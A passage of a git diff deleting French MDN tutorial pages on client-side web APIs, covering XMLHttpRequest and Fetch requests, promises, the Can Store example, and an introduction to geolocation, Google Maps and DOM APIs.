-var poemDisplay = document.querySelector('pre');
-
-verseChoose.onchange = function() {
-  var verse = verseChoose.value;
-  updateDisplay(verse);
-};
    -
    3. -
  3. -

    Définissons maintenant la fonction updateDisplay(). Tout d'abord, mettez ce qui suit au bas de votre JavaScript — c'est la structure vide de la fonction :

    - - 
    function updateDisplay(verse) {
-
-};
    -
    4. -
  4. -

    Nous allons commencer notre fonction en construisant une URL relative qui pointe vers le fichier texte que nous voulons charger, nous en aurons besoin plus tard. La valeur de l'élément {{htmlelement("select")}} à tout instant est la même que l'élément {{htmlelement("option")}} sélectionné (c'est à dire le texte de l'élément sélectionné, ou son attribut value s'il est spécifié) — par exemple "Verse 1". Le fichier correspondant est "verse1.txt" et il est situé dans le même répertoire que le fichier HTML, le nom du fichier seul suffira donc.

    - -

    Les serveurs web sont généralement sensibles à la casse, le nom de fichier n'a pas d'espace et a une extension de fichier. Pour convertir "Verse 1" en "verse1.txt" nous allons convertir le "V" en minuscles avec {{jsxref("String.toLowerCase", "toLowerCase()")}}, supprimer l'espace avec {{jsxref("String.replace", "replace()")}} et ajouter ".txt" à la fin avec une simple concaténation de chaînes. Ajoutez les lignes suivantes à l'intérieur de la fonction updateDisplay() :

    - - 
    verse = verse.replace(" ", "");
-verse = verse.toLowerCase();
-var url = verse + '.txt';
    -
    5. -
  5. -

    Pour commencer à créer une requête XHR, vous allez devoir créer un nouvel objet avec le constructeur {{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}}. Vous pouvez appeler cet objet comme vous le voulez, mais nous l'appellerons request pour plus de clarté. Ajoutez ce qui suit à vos lignes précédentes :

    - - 
    var request = new XMLHttpRequest();
    -
    6. -
  6. -

    Ensuite, vous allez devoir utiliser la méthode {{domxref("XMLHttpRequest.open","open()")}} pour spécifier la méthode HTTP et l'URL à utiliser pour récupérer la ressource. Nous allons ici utiliser la méthode GET et passer notre variable url pour URL. Ajoutez ceci à la suite de la ligne précédente :

    - - 
    request.open('GET', url);
    -
    7. -
  7. -

    Nous allons définir le type de réponse que nous attendons — définit par la propriété {{domxref("XMLHttpRequest.responseType", "responseType")}} de la requête — comme text. Ce n'est pas strictement nécessaire ici — XHR retourne du texte par défaut — mais c'est une bonne idée d'en prendre l'habitude pour les cas où vous aurez besoin de définir un type différent. Ajoutez ceci à la suite :

    - - 
    request.responseType = 'text';
    -
    8. -
  8. -

    Récupérer une ressource sur le réseau est une opération {{glossary("asynchronous","asynchrone")}}, ce qui signifie que vous devez attendre que cette opération se termine (par exemple, que la ressource soit renvoyée) avant de pouvoir récupérer la réponse — sans quoi une erreur est levée. XHR permet d'exécuter du code lorsque la réponse est reçue grâce au gestionnaire d'événement {{domxref("XMLHttpRequest.onload", "onload")}} — quand l'événement {{event("load")}} est déclenché. Une fois que la réponse a été reçue, alors la réponse est accessible via la propriété response de l'objet XHR utilisé.

    - -

    Ajoutez le bloc de code qui suit toujours au bas de la fonction updateDisplay(). Vous verrez qu'à l'intérieur du gestionnaire d'événément onload, nous assignons la propriété textContent de poemDisplay (l'élément {{htmlelement("pre")}}) à la valeur de la propriété {{domxref("XMLHttpRequest.response", "request.response")}}.

    - - 
    request.onload = function() {
-  poemDisplay.textContent = request.response;
-};
    -
    9. -
  9. -

    Les étapes précédentes nous ont permis de configurer la requête XHR, mais celle-ci n'est exécutée que lorsqu'on le demande explicitement. Pour ce faire, il faut appeler la méthode {{domxref("XMLHttpRequest.send","send()")}}. Ajoutez la ligne suivante à la suite du code déjà écrit :

    - - 
    request.send();
    - -

    Voyez la section {{anch("Serving your example from a server", "Servir votre exemple depuis un serveur")}} pour pouvoir tester.

    -
    10. -
  10. -

    Un dernier problème avec cet exemple est qu'il ne montre rien au chargement de la page (mais uniquement à la sélection d'un verset). Pour corriger cela, ajoutez ce qui suit au bas de votre code (juste au-dessus de la balise fermante </script>), pour charger le verset 1 par défaut, et s'assurer que l'élément {{htmlelement("select")}} montre toujours la bonne valeur :

    - - 
    updateDisplay('Verse 1');
-verseChoose.value = 'Verse 1';
    -
    11. -
- -

Servir votre exemple depuis un serveur

- -

Certains navigateurs (dont Chrome) n'exécuteront pas de requêtes XHR si vous exécutez votre script simplement à partir d'un fichier local. Cela est dû à des restrictions de sécurité (pour plus d'infos sur la sécurité web, consultez l'article La sécurité d'un site web).

- -

Pour règler ce problème, vous devez tester l'exemple à travers un serveur web local. Pour savoir comment procéder, lisez Comment configurer un serveur de test local?

- -

Fetch

- -

L'API Fetch est une solution moderne qui vient remplacer XHR — elle a été introduite récemment dans les navigateurs pour rendre les requêtes HTTP asynchrones plus simples en JavaScript, à la fois pour les développeurs et pour les autres APIs qui utilisent cette technologie.

- -

Voyons comment convertir le dernier exemple, en remplaçant XHR par Fetch.

- -
    -
  1. -

    Faites une copie du répertoire de votre dernier exemple. (Ou si vous ne l'avez pas fait, créez un nouveau répertoire et copiez le fichier xhr-basic.html et les quatre fichiers texte — verse1.txt, verse2.txt, verse3.txt, and verse4.txt — à l'intérieur).

    -
    2. -
  2. -

    À l'intérieur de la fonction updateDisplay(), vous avez le code XHR suivant :

    - - 
    var request = new XMLHttpRequest();
-request.open('GET', url);
-request.responseType = 'text';
-
-request.onload = function() {
-  poemDisplay.textContent = request.response;
-};
-
-request.send();
    -
    3. -
  3. -

    Remplacez-le avec ce qui suit :

    - - 
    fetch(url).then(function(response) {
-  response.text().then(function(text) {
-    poemDisplay.textContent = text;
-  });
-});
    -
    4. -
  4. -

    Chargez l'exemple dans votre navigateur (en l'exécutant à travers un serveur web) et il devrait produire le même résultat que la version XHR  — pourvu que vous utilisiez un navigateur moderne.

    -
    5. -
- -

Que se passe-t-il dans le code Fetch?

- -

Tout d'abord, nous invoquons la méthode {{domxref("WindowOrWorkerGlobalScope.fetch()","fetch()")}}, en lui passant l'URL de la ressource que nous voulons récupérer. C'est la version moderne équivalente à {{domxref("XMLHttpRequest.open","request.open()")}} de XHR, et n'avez pas à appeler .send() — la requête est exécutée directemment.

- -

Ensuite, la méthode {{jsxref("Promise.then",".then()")}} est chaînée à la suite de fetch() — cette méthode fait partie des {{jsxref("Promise","Promesses")}}, une fonctionnalité JavaScript moderne qui permet d'effectuer des opérations asynchrones. fetch() retourne une promesse, qui est résolue lorsque la réponse est reçue du serveur — et nous utilisons .then() pour exécuter du code à ce moment là. C'est l'équivalent du gestionnaire d'événément onload dans la version XHR.

- -

La fonction définie dans le .then() reçoit la réponse du serveur comme paramètre, une fois que la promesse retournée par fetch() est résolue. À l'intérieur de cette fonction, nous utilisons la méthode {{domxref("Body.text","text()")}} pour récupérer le contenu de la réponse en texte brut. C'est l'équivalent de request.responseType = 'text' dans la version XHR.

- -

Vous verrez que text() retourne également une promesse, nous y chaînons donc un nouveau .then(), à l'intérieur de quoi nous définissons une fonction. Cette dernière récupère quant à elle le texte brut que la promesse précédente résout.

- -

Enfin, dans le corps de la fonction, nous faisons la même chose que nous faisions dans la version XHR — définir le contenu texte de l'élément {{htmlelement("pre")}} au texte récupéré.

- -

À propos des promesses

- -

Les promesses peuvent être un peu déroutantes au premier abord, ne vous en souciez pas trop pour l'instant. Vous vous y ferez après un certain temps, d'autant plus après en avoir appris davantage sur les APIs JavaScript modernes — la plupart des APIs récentes utilisent beaucoup les promesses.

- -

Regardons à nouveau la structure d'une promesse pour voir si nous pouvons en donner plus de sens.

- -

Promesse 1

- -
fetch(url).then(function(response) {
-  //...
-});
- -

Si l'on traduit en bon français les instructions JavaScript, on pourrait dire

- - - -

On dit qu'une promesse est "résolue" (resolved) lorsque l'opération spécifiée à un moment donné est terminée. En l'occurence, l'opération spécifiée est de récupérer une ressource à une URL donnée (en utilisant une requête HTTP) et de retourner la réponse reçue du serveur.

- -

La fonction passée à then() n'est pas exécutée immédiatement — elle est exécutée à un moment dans le futur, dès que la promesse est résolue (c'est à dire qu'elle a retourné la réponse du serveur).

- -

Notez que vous pouvez également choisir de stocker votre promesse dans une variable, et de chaîner le {{jsxref("Promise.then",".then()")}} sur cette variable. L'exemple suivant fait la même chose que le précédent :

- -
var myFetch = fetch(url);
-
-myFetch.then(function(response) {
-  //...
-});
- -

Parce que la méthode fetch() retourne une promesse qui résout une réponse HTTP, la fonction définie à l'intérieur du .then() reçoit la réponse en tant que paramètre. Vous pouvez appeler le paramètre comme vous souhaitez — l'exemple ci-dessous fait toujours la même chose :

- -
fetch(url).then(function(dogBiscuits) {
-  //...
-});
- -

Mais il est plus logique de donner un nom de paramètre qui décrit son contenu !

- -

Promesse 2

- -

Voyons maintenant la fonction appelé dans .then():

- -
function(response) {
-  response.text().then(function(text) {
-    poemDisplay.textContent = text;
-  });
-}
- -

L'objet response a une méthode {{domxref("Body.text","text()")}}, qui convertit les données brutes contenues dans la réponse en texte brut — c'est le format que nous voulons. Cette méthode retourne également une promesse, qui se résout lorsque la réponse est convertie en texte, nous utilisons donc un deuxième {{jsxref("Promise.then",".then()")}} pour cette deuxième promesse.

- -

À l'intérieur de ce dernier .then(), nous définissons une nouvelle fonction, qui décide de ce que nous faisons avec le texte récupéré. Nous nous contentons de définir la propriété textContent de l'élément {{htmlelement("pre")}} à la valeur du texte.

- -

Chaîner les then()

- -

Notez que le résultat de la fonction appelée par le .then() est également retourné par ce dernier, nous pouvons donc mettre les .then() bout à bout, en passant le résultat du bloc précédent au prochain.

- -

Ainsi, le bloc de code suivant fait la même chose que notre exemple original, mais écrit dans un style différent :

- -
fetch(url).then(function(response) {
-  return response.text()
-}).then(function(text) {
-  poemDisplay.textContent = text;
-});
- -

Beaucoup de développeurs préfèrent ce style, plus "plat" : il évite de définir des fonctions à l'intérieur de fonctions et est plus facile à lire lorsqu'il y a beaucoup de promesses qui s'enchaînent. La seule différence ici est que nous avons une instruction return pour retourner response.text(), et ce résultat est passé au prochain .then().

- -

Quel mécanisme devriez-vous utiliser?

- -

Cela dépend du projet sur lequel vous travaillez. XHR existe depuis longtemps maintenant et bénéficie d'un très bon support sur les différents navigateurs. Fetch et les promesses, en revanche, sont un ajout plus récent à la plateforme web, bien qu'ils soient pris en charge par la plupart des navigateurs, Internet Explorer et Safari font exception.

- -

Si vous voulez un support des anciens navigateurs, alors XHR est probablement la solution préférable. En revanche, si vous travaillez sur un projet plus progressif, et que vous n'êtes pas tant préoccupé par les anciens navigateurs, alors Fetch peut être un bon choix.

- -

Vous devriez apprendre les deux alternatives — Fetch deviendra plus populaire au fur et à mesure que l'utilisation d'Internet Explorer diminue (IE n'est plus développé, en faveur du nouveau navigateur de Microsoft, Edge), mais vous allez avoir besoin de XHR pendant un moment encore.

- -

Un exemple plus complexe

- -

Pour clore l'article, nous allons regarder un exemple un peu plus complexe, qui montre des utilisations plus intéressantes de Fetch. Nous avons créé un site d'exemple appelé The Can Store (le magasin de conserves) — c'est un supermarché fictif qui ne vend que des boites de conserves. Vous pouvez trouver cet exemple en direct sur GitHub, et voir le code source.

- -

A fake ecommerce site showing search options in the left hand column, and product search results in the right hand column.

- -

Par défaut, le site affiche tous les produits ; mais vous pouvez utiliser le formulaire dans la colonne de gauche pour les filtrer par catégorie, ou chercher un terme, ou les deux.

- -

Il y a du code plutôt complexe pour traiter le filtrage des produits par catégorie et par terme de recherche, manipulant les chaînes de caractères pour afficher les données correctement dans l'interface utilisateur, etc. Nous n'allons pas en discuter dans cet article, mais vous pouvez trouver des commentaires très complets dans le code (voir can-script.js). Nous allons expliquer le code Fetch.

- -

Premier Fetch

- -

Le premier bloc qui utilise Fetch se trouve au début du JavaScript :

- -
fetch('products.json').then(function(response) {
-  if(response.ok) {
-    response.json().then(function(json) {
-      products = json;
-      initialize();
-    });
-  } else {
-    console.log('Network request for products.json failed with response ' + response.status + ': ' + response.statusText);
-  }
-});
- -

Cela ressemble à ce que vous avons vu précédemment, sauf que la deuxième promesse est à l'intérieur d'une condition. Cette condition vérifie si la réponse retournée est un succès ou non — la propriété {{domxref("response.ok")}} contient un booléen qui vaut true si le statut de la réponse était OK (statut HTTP 200, "OK"), ou false sinon.

- -

Si la réponse était un succès, nous déclenchons la deuxième promesse — cette fois-ci en utilisant {{domxref("Body.json","json()")}} et non {{domxref("Body.text","text()")}}, puisque nous voulons récupérer la réponse sous forme de données structurées JSON et non de texte brut.

- -

Si la réponse n'est pas un succès, nous affichons une erreur dans la console indiquant que la requête réseau a échoué, avec le statut et le message obtenus (contenus dans les propriétés {{domxref("response.status")}} et {{domxref("response.statusText")}} respectivement). Bien sûr, un véritable site web traiterait cette erreur plus gracieusement, en affichant un message à l'écran en offrant peut-être des options pour remédier à la situation.

- -

Vous pouvez tester le cas d'échec vous-même :

- -
    -
  1. Faites une copie locale des fichiers d'exemple (téléchargez et dézippez le fichier ZIP can-store)
    2. -
  2. Éxecutez le code via un serveur web (comme vu précédemment dans {{anch("Serving your example from a server", "Servir votre exemple depuis un serveur")}})
    3. -
  3. Modifiez le chemin du fichier à récupérer, mettez un nom de fichier qui n'existe pas, comme 'produc.json'.
    4. -
  4. Maintenant, chargez le fichier index dans votre navigateur (via localhost:8000) et regardez dans la console de développement. Vous verrez un message parmi les lignes "Network request for products.json failed with response 404: File not found" (la requête réseau pour products.json a échoué avec la réponse 404: Fichier non trouvé).
    5. -
- -

Deuxième Fetch

- -

Le deuxième bloc Fetch se trouve dans la fonction fetchBlob():

- -
fetch(url).then(function(response) {
-  if(response.ok) {
-    response.blob().then(function(blob) {
-      objectURL = URL.createObjectURL(blob);
-      showProduct(objectURL, product);
-    });
-  } else {
-    console.log('Network request for "' + product.name + '" image failed with response ' + response.status + ': ' + response.statusText);
-  }
-});
- -

Cela fonctionne à peu près de la même manière que le précédent, sauf qu'au lieu d'utiliser {{domxref("Body.json","json()")}}, on utilise {{domxref("Body.blob","blob()")}} — en l'occurence, nous voulons récupérer la réponse sous la forme d'un fichier image, et le format de données que nous utilisons est Blob — ce terme est une abbréviation de "Binary Large Object" (large objet binaire) et peut être utilisé pour représenter de gros objets fichier — tels que des fichiers images ou vidéo.

- -

Une fois que nous avons reçu notre blob avec succès, nous créons un objet URL, en utilisant {{domxref("URL.createObjectURL()", "createObjectURL()")}}. Cela renvoie une URL interne temporaire qui pointe vers un blob en mémoire dans le navigateur. Cet objet n'est pas très lisible, mais vous pouvez voir à quoi il ressemble en ouvrant l'application Can Store, Ctrl + Clic droit sur l'image, et sélectionner l'option "Afficher l'image" (peut légèrement varier selon le navigateur que vous utilisez). L'URL créée sera visible à l'intérieur de la barre d'adresse et devrait ressembler à quelque chose comme ça :

- -
blob:http://localhost:7800/9b75250e-5279-e249-884f-d03eb1fd84f4
- -

Challenge : une version XHR de Can Store

- -

Comme exercice pratique, nous aimerions que vous essayiez de convertir la version Fetch de l'application en une version XHR. Faites une copie du fichier ZIP et essayiez de modifier le JavaScript en conséquence.

- -

Quelques conseils qui pourraient s'avérer utiles :

- - - -
-

Note : Si vous avez des difficultés à le faire, vous pouvez comparer votre code à la version finale sur GitHub (voir le code source, ou voir en direct).

-
- -

Sommaire

- -

Voilà qui clôt notre article sur la récupération de données à partir du serveur. À ce stade, vous devriez savoir comment travailler avec XHR et Fetch.

- -

Voir aussi

- -

Il y a beaucoup de sujets abordés dans cet article, dont nous n'avons qu'égratigné la surface. Pour plus de détails sur ces sujets, essayez les articles suivants:

- - - -
{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}}
- -
-

Dans ce module

- - -
diff --git a/files/fr/apprendre/javascript/client-side_web_apis/index.html b/files/fr/apprendre/javascript/client-side_web_apis/index.html deleted file mode 100644 index d5d6f410e3..0000000000 --- a/files/fr/apprendre/javascript/client-side_web_apis/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: API web utilisées côté client -slug: Apprendre/JavaScript/Client-side_web_APIs -tags: - - API - - API Web - - Apprendre - - Articles - - Codage - - DOM - - Débutant - - Graphismes - - JavaScript - - Localisation - - Media - - Module - - données -translation_of: Learn/JavaScript/Client-side_web_APIs ---- -
{{LearnSidebar}}
- -

Lorsque vous écrivez du JavaScript côté client pour des sites Web ou des applications, vous n'irez pas très loin avant d'utiliser des API - des interfaces pour manipuler différents aspects du navigateur et du système d'exploitation sur lesquels le site opère, ou même des données provenant d'autres sites web ou services. Dans ce module, nous allons explorer ce que sont les API, et comment utiliser certaines API les plus courantes que vous rencontrerez souvent dans votre travail de développement.

- -

Prérequis

- -

Pour tirer le meilleur parti de ce module, vous devriez avoir parcouru les précédents modules JavaScript de la série (Premiers pas, Building blocks et objets JavaScript). Ces modules impliquent tout de même un bon nombre d'utilisations simples de l'API, car il est difficile d'écrire des exemples JavaScript côté client faisant quelque chose d'utile sans eux! Ici, nous passons à un niveau supérieur, en supposant que vous connaissiez le langage JavaScript de base et explorant les APIs Web courantes de manière un peu plus détaillée.

- -

Une connaissance basique de HTML et CSS serait aussi utile.

- -
-

Remarque: Si vous travaillez sur un ordinateur/tablette/autre périphérique où vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer (la plupart) des exemples de code dans un programme de code en ligne tel que JSBin ou Thimble.

-
- -

Guides

- -
-
Introduction aux API du Web
-
Tout d'abord, nous survolerons du concept d'API — qu'est-ce que c'est, comment ça fonctionne, comment les utiliser dans votre code, et comment sont-elles structurées. Nous verrons également quelles sont les principales API et leur utilisation.
-
Manipuler des documents
-
Quand on écrit des pages web et des applications, une des choses les plus courantes que l'on veut faire est de manipuler la structure du document d'une manière ou d'une autre. On le fait généralement en utilisant le Document Object Model (DOM), un ensemble d'APIs qui permettent de contrôler le HTML et le style — et qui utilisent massivement l'objet {{domxref("Document")}}. Dans cet article, nous allons voir comment utiliser le DOM en détail, ainsi que quelques APIs intéressantes qui peuvent modifier votre environnement.
-
Récupérer des données du serveur
-
Une autre tâche courante dans les sites et applications web modernes est de récupérer des données à partir du serveur pour mettre à jour des sections de la page web sans la recharger entièrement. Ce qui pourrait paraître comme un petit détail, a en vérité eu un impact énorme sur les performances et le comportement des sites. Dans cet article, nous allons expliquer le concept et les technologies qui rendent cela possible, tels que {{domxref("XMLHttpRequest")}} et l'API Fetch.
-
APIs tierces
-
Les APIs que nous avons vu jusqu'à présent sont intégrées dans le navigateur, mais ce n'est pas le cas de toutes. De nombreux gros sites web tels que Google Maps, Twitter, Facebook, PayPal, etc, fournissent des APIs permettant aux développeurs d'utiliser leurs données (par exemple pour afficher un flux twitter sur un blog) ou service (par exemple afficher une carte Google Maps sur un site, ou utiliser Facebook pour permettre aux utilisateurs de se connecter). Cet article compare les APIs du navigateur aux APIs tierces et montre quelques utilisations typiques de ces dernières.
-
Dessiner des éléments graphiques
-
Le navigateur contient des outils de programmation graphique très puissants, du langage SVG (Scalable Vector Graphics), aux APIs pour dessiner sur les éléments HTML {{htmlelement("canvas")}}, (voir API Canvas et WebGL). Cet article fournit une introduction à canvas et introduit d'autres ressources pour vous permettre d'en apprendre plus.
-
APIs vidéo et audio
-
HTML5 fournit des éléments pour intégrer du multimédia dans les documents — {{htmlelement("video")}} et {{htmlelement("audio")}} — et qui viennent avec leurs propres APIs pour contrôler la lecture, se déplacer dans le flux, etc. Cet article montre comment réaliser les tâches les plus communes, comme créer des contrôles de lectures personnalisés.
-
Stockage côté client
-
Les navigateurs web modernes permettent aux sites web de stocker des données sur l'ordinateur de l'utilisateur — avec sa permission — puis de les récupérer au besoin. Cela permet d'enregistrer des données pour du stockage long-terme, de sauvegarder des documents ou sites hors-ligne, de conserver des préférences spécifiques à l'utilisateur, et plus encore. Cet article explique les fondamentaux pour y parvenir.
-
diff --git a/files/fr/apprendre/javascript/client-side_web_apis/introduction/index.html b/files/fr/apprendre/javascript/client-side_web_apis/introduction/index.html deleted file mode 100644 index b7e2ed71b4..0000000000 --- a/files/fr/apprendre/javascript/client-side_web_apis/introduction/index.html +++ /dev/null @@ -1,307 +0,0 @@ ---- -title: Introduction aux API du Web -slug: Apprendre/JavaScript/Client-side_web_APIs/Introduction -tags: - - API - - API Web - - Apprentissage - - Article - - Codage - - Débutant - - Navigateur - - Objet - - Tierce partie - - côté‑client -translation_of: Learn/JavaScript/Client-side_web_APIs/Introduction ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs")}}
- -

Tout d'abord, nous survolerons le concept d'API — qu'est-ce que c'est, comment ça fonctionne, comment les utiliser dans votre code, et comment sont-elles structurées ? Nous verrons également quelles sont les principales APIs et leur utilisation.

- - - - - - - - - - - - -
Prérequis :Des connaissances de base en informatique, une compréhension de base du HTML et CSS, des notions de JavaScript (voir premiers pas, briques JavaScript, objets JavaScript).
Objectif :Vous familiariser avec les APIs, ce qu'elles permettent de faire, et comment les utiliser dans votre code.
- -

C'est quoi une API ?

- -

Les APIs (Application Programming Interfaces) sont des constructions disponibles dans les langages de programmation pour permettre aux développeurs de créer plus facilement des fonctionnalités complexes. Elles s'occupent des parties de code plus complexes, fournissant au développeur une syntaxe plus facile à utiliser à la place.

- -

En guise d'exemple concret, pensez à des branchements électriques dans une maison, appartement ou autre logement. Si vous souhaitez utiliser un appareil dans votre maison, il vous suffit de le brancher dans une prise et cela fonctionne. Vous n'essayez pas de le brancher directement à l'alimentation électrique — le faire serait réellement inefficace, et, si vous n'êtes pas électricien, difficile et dangereux à réaliser.

- -

- -

Image source: Overloaded plug socket by The Clear Communication People, on Flickr.

- -

De la même façon, par exemple, pour programmer des graphismes en 3D, il est beaucoup plus facile de le faire en utilisant une API écrite dans un langage de haut niveau comme JavaScript ou Python, plutôt que d'essayer d'écrire du code bas niveau (comme C ou C ++) qui contrôle directement le GPU de l'ordinateur ou d'autres fonctions graphiques.

- -
-

Note : Voir aussi l'entrée API du glossaire pour plus de descriptions.

-
- -

APIs JavaScript côté client

- -

Le JavaScript côté client en particulier a de nombreuses APIs à sa disposition — elles ne font pas partie du langage JavaScript lui-même, elles sont construites par dessus JavaScript, offrant des super-pouvoirs supplémentaires à utiliser dans votre code. Elles appartiennent généralement à une des deux catégories:

- - - -

- -

Relations entre JavaScript, APIs et autres outils JavaScript

- -

Ci-dessus, nous avons indiqué ce qu'est une API JavaScript côté client et quelle est sa relation avec le langage JavaScript. Pour récapituler, clarifier, et apporter plus de précisions sur  d'autres outils JavaScript qui existent:

- - - -

Que peuvent faire les API ?

- -

Il y a un beaucoup d'APIs disponibles dans les navigateurs modernes. Elles permettent de faire un large éventail de choses. Vous pouvez vous en faire une petite idée en jetant un coup d'œil à la page de l'index des API MDN. 

- -

API de navigateur courantes

- -

En particulier, voici les catégories d'API de navigateur les plus courantes que vous utiliserez (et que nous allons voir dans ce module plus en détail) :

- - - -

APIs tierces courantes

- -

Il y a une grande variété d'APIs tierces; en voici quelques unes des plus populaires que vous allez probablement utiliser tôt ou tard : 

- - - -
-

Note : Vous pouvez trouver des informations sur beaucoup plus d'API tierces dans le répertoire Programmable Web API.

-
- -

Comment les API fonctionnent-elles?

- -

Chaque API Javascript fonctionne de manière légèrement différente d'une autre, mais de manière générale, elles ont des fonctionnalités communes et des thèmes similaires.

- -

Elles sont fondées sur des objets

- -

Les APIs interagissent avec le code en utilisant un ou plusieurs objets Javascript, qui servent de conteneurs pour les données utilisées par l'API (contenues dans les propriétés d'objet), et la fonctionnalité rendue disponible par l'API (contenue dans des méthodes d'objet).

- -
-

Note : Si vous n'êtes pas déjà familier avec le fonctionnement des objets, vous devriez revenir en arrière et parcourir le module objets Javascript avant de continuer.

-
- -

Prenons pour exemple l'API Géolocalisation — c'est une API très simple composée de quelques simples objets :

- - - -

Alors comment ces objets interagissent-ils ? Si vous regardez notre exemple maps-example.html (regardez‑le aussi en direct), vous verrez le code suivant : 

- -
navigator.geolocation.getCurrentPosition(function(position) {
-  var latlng = new google.maps.LatLng(position.coords.latitude,position.coords.longitude);
-  var myOptions = {
-    zoom: 8,
-    center: latlng,
-    mapTypeId: google.maps.MapTypeId.TERRAIN,
-    disableDefaultUI: true
-  }
-  var map = new google.maps.Map(document.querySelector("#map_canvas"), myOptions);
-});
- -
-

Note : Quand vous chargez l'exemple ci-dessus pour la première fois, vous devriez voir une boîte de dialogue demandant si vous acceptez de partager votre position avec cette application (voir la section {{anch ("Elles ont des mécanismes de sécurité supplémentaires si nécessaire")}} plus loin dans cet article).
- Vous devez accepter pour pouvoir inscrire votre position sur la carte. Si vous ne pouvez toujours pas voir la carte, vous devrez activer l'autorisation à la main. Vous pouvez le faire de différentes manières selon le navigateur utilisé ; par exemple, dans Firefox, allez dans > Outils > Informations sur la page > Permissions, puis modifiez le paramètre Accèder à votre position ; dans Chrome, allez à Paramètres > Confidentialité > Afficher les paramètres avancés > Paramètres de contenu, puis modifiez les paramètres d'emplacement.
-  

-
- -

Pour récupérer l'objet {{domxref("Geolocation")}} du navigateur, on fait appel à {{domxref("Navigator.geolocation")}}. On se sert ensuite de la méthode {{domxref("Geolocation.getCurrentPosition()")}} pour obtenir la position actuelle de notre appareil. On commence donc avec

- -
navigator.geolocation.getCurrentPosition(function(position) { ... });
- -

C'est pareil que:

- -
var myGeo = navigator.geolocation;
-myGeo.getCurrentPosition(function(position) { ... });
- -

On peut utiliser la syntaxe point pour chaîner l'accès propriété/méthode et réduire ainsi le nombre de lignes à écrire.

- -

La méthode {{domxref("Geolocation.getCurrentPosition()")}} n'a qu'un seul paramètre obligatoire : une fonction anonyme qui s'exécute une fois que la position actuelle du périphérique a été récupérée avec succès. Cette fonction prend elle-même un paramètre, l'objet {{domxref("Position")}}, contenant les données de position actuelle.

- -
-

Note : Une fonction prise en argument par une autre fonction s'appelle une fonction de rappel.

-
- -

Elles utilisent des fonctions de rappel

- -

Cette manière d'appeler des fonctions seulement quand une opération est terminée, pour s'assurer de la bonne fin d'une opération avant d'utiliser les données renvoyées dans une autre opération, est très courante dans les API JavaScript. C'est ce qu'on appelle des opérations {{glossary("asynchronous", "asynchrones")}}.

- -

Récupérer la position actuelle de l'appareil repose sur un composant externe (le GPS de l'appareil ou un autre matériel de géolocalisation), on ne peut pas garantir que cela sera fait à temps pour utiliser immédiatement les données qu'il renvoie. Par conséquent, quelque chose comme cela ne fonctionne pas :

- -
var position = navigator.geolocation.getCurrentPosition();
-var myLatitude = position.coords.latitude;
- -

Si la première ligne n'a pas encore renvoyé son résultat, la deuxième ligne renvoie une erreur, car les données de position ne sont pas encore disponibles.

- -

Pour cette raison, les APIs impliquant des opérations asynchrones sont conçues pour utiliser des {{glossary ("callback function","fonctions de rappel")}} ou bien le système plus moderne des Promesses — maintenant disponible dans ECMAScript 6 et largement utilisé dans les nouvelles APIs.

- -

Pour les APIs tierces, elles doivent être inclues

- -

On combine l'API Geolocation avec une API tierce — l'API Google Maps — pour tracer l'emplacement renvoyé par getCurrentPosition() sur une carte Google Map. Pour mettre cette API à disposition sur notre page on doit l'inclure — vous trouverez cette ligne dans le code HTML:

- -
<script type="text/javascript" src="https://maps.google.com/maps/api/js?key=AIzaSyDDuGt0E5IEGkcE6ZfrKfUtE9Ko_de66pA"></script>
- -

Elles utilisent des constructeurs et des options pour être personnalisées

- -

Pour afficher la position de l'utilisateur sur la carte, on crée d'abord une instance d'objet LatLng avec le constructeur google.maps.LatLng(). Il prend les valeurs de géolocalisation {{domxref ("coords.latitude")}} et {{domxref ("coords.longitude")}} comme paramètres:

- -
var latlng = new google.maps.LatLng(
-    position.coords.latitude,
-    position.coords.longitude
-);
- -

L'objet que nous avons construit est définit comme la valeur de la propriété center d'un objet d'options, myOptions. Ces options vont être utilisées pour construire la carte.

- -

On crée une instance d'objet pour représenter notre carte en appelant le constructeur google.maps.Map() avec deux paramètres — une référence à l'élément {{htmlelement ("div")}} sur lequel on veut afficher la carte (celui avec l'ID map_canvas), et l'objet d'options que nous avons défini juste au-dessus.

- -
var myOptions = {
-  zoom: 8,
-  center: latlng,
-  mapTypeId: google.maps.MapTypeId.TERRAIN,
-  disableDefaultUI: true
-}
-
-var map = new google.maps.Map(document.querySelector("#map_canvas"), myOptions);
- -

Ceci fait, notre carte s'affiche.

- -

Ce dernier bloc de code met en évidence deux modèles courants que vous verrez dans de nombreuses APIs. Tout d'abord, les objets des APIs contiennent généralement des constructeurs, qui sont appelés pour créer des instances d'objets. Ensuite, les objets APIs ont souvent plusieurs options disponibles qui peuvent être modifiées pour obtenir l'environnement exact que vous voulez pour votre programme. Les constructeurs d'API acceptent généralement des objets d'options en tant que paramètres, ce qui vous permet de définir leur comportement.

- -
-

Note : Ne vous inquiétez pas si vous ne comprenez pas immédiatement le détail de cet exemple . Nous aborderons plus amplement les APIs tierces parties dans un futur article.

-
- -

Elles ont des points d'entrée identifiables

- -

Lorsque vous utilisez une API, vous devez d'abord savoir quel est le point d'entrée de l'API. Dans l'API Geolocation, c'est assez simple — c'est la propriété {{domxref ("Navigator.geolocation")}} qui renvoie l'objet {{domxref ("Geolocation")}} du navigateur. Cet objet contient toutes les méthodes disponibles de géolocalisation à l'intérieur.

- -

L'API DOM (Document Object Model) a un point d'entrée encore plus simple — ses caractéristiques sont généralement trouvées attachées à l'objet {{domxref ("Document")}}, ou à toute instance d'un élément HTML que vous souhaitez affecter d'une manière ou d'une autre. Par exemple:

- -
var em = document.createElement('em'); // créer un nouvel élément
-var para = document.querySelector('p'); // référence à un élément p existant
-em.textContent = 'Hello there!'; // fournir à em un contenu textuel
-para.appendChild(em); // incorporer un paragraphe dans em
- -

D'autres API ont des points d'entrée légèrement plus complexes, impliquant souvent un contexte spécifique dans lequel le code de l'API doit être écrit. Par exemple, l'objet contextuel de l'API Canvas est créé en obtenant une référence à l'élément {{htmlelement ("canvas")}} sur lequel vous voulez dessiner, puis en appelant sa méthode {{domxref ("HTMLCanvasElement.getContext ()")}} :

- -
